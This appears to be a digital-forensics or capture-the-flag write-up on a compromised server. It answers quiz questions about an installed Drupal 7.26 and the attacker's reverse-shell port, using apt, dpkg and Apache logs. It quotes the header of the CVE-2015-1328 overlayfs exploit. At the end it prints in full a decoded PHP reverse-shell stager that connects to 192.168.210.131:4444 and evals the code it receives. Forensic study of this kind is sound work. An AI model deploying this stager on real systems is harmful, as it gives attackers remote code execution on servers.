──(kali㉿kali)-[~/Downloads]
└─$ sudo strings -a /dev/mapper/VulnOSv2--vg-root | grep -m5 -i -B3 -A3 "CVE-2015-1328"
sudo strings -a /dev/mapper/VulnOSv2--vg-root | grep -m5 -i -B3 -A3 "ofs.c"
[sudo] password for kali:
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Q17: Which content management system is installed? Answer: drupal

  1. "Installed" suggests a package, so check the package manager's log: sudo cat /mnt/webserver/var/log/apt/history.log
  2. Look for an Install: line naming drupal7. Drupal is the CMS.
  3. Optional check: ls /mnt/webserver/var/www or /usr/share/drupal7 shows the site files.
None

Q18: What version of the CMS is installed? Answer: 7.26

  1. history.log only names the package. The exact version is in the low-level package log.
  2. Run: sudo grep -i drupal /mnt/webserver/var/log/dpkg.log
  3. The install line ends with the version, 7.26 (Debian packages may add a suffix after it, such as -1).
None

Q19: Which port received the attacker's reverse shell? Answer: 4444

SSH was only the second way in. The first foothold was the web application.

  1. Only Apache is installed, so open its log: sudo less /mnt/webserver/var/log/apache2/access.log
  2. Search for the attacker's IP address, the one that appeared in auth.log in Q6.
  3. Find the request that contains eval( and base64_decode: sudo grep "base64_decode" /mnt/webserver/var/log/apache2/access.log
  4. URL-decode that request, for example: echo '<request>' | python3 -c "import sys,urllib.parse;print(urllib.parse.unquote(sys.stdin.read()))"
  5. Copy the base64 string out of the decoded text and decode it: echo '<string>' | base64 -d
  6. The decoded PHP script opens a connection back to the attacker's IP on port 4444, which is the answer.
None None 
/*<?php /**/ error_reporting(0); $ip = '192.168.210.131'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Thanks for Reading:)